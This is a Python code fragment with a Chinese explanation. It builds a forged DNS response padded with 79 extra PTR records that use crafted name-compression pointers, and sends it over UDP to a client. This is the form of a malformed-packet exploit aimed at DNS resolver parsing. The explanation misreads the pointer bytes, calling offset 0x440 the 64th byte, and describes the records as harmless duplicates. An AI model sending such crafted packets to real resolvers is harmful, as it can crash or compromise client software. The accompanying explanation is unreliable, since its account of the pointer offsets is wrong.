for _ in range(79): data += ('\xc0\x0c' + # ptr to the name '\x00\x0c' + # type = 'PTR' '\x00\x01' + # cls = 'IN' '\x00\x00\x00\x3d' + # ttl '\x00\x02' + # size of the compressed resource record '\xc4\x40') # pointer to the second record's name data += ('\xc0\x0c' + # ptr to the name '\x00\x0c' + # type = 'PTR' '\x00\x01' + # cls = 'IN' '\x00\x00\x00\x3d' + # ttl '\x00\x11' + # size of this resource record '\x04EEEE\x09DAABBEEEE\xc4\x49') sock_udp.sendto(data, addr)

这段代码在原有 DNS 响应报文的基础上，添加了 79 个附加的回答资源记录。这些记录的格式与原有的 PTR 类型的回答记录相同，但是它们的数据部分只有 2 个字节，分别是 0xc4 和 0x40，表示该记录指向响应报文中的第 65 个字节（即第一个 PTR 记录的数据部分的第一个字节）。其中，第一个字节 0xc4 表示该记录是一个指针类型的资源记录，指向响应报文中的另一个资源记录，第二个字节 0x40 表示该指针指向的资源记录的偏移量为 64。因此，这些附加的回答资源记录都指向第一个 PTR 记录，即查询 IP 地址对应的第一个域名的反向映射结果。最后，将构造好的 DNS 响应报文通过 UDP 协议发送给客户端。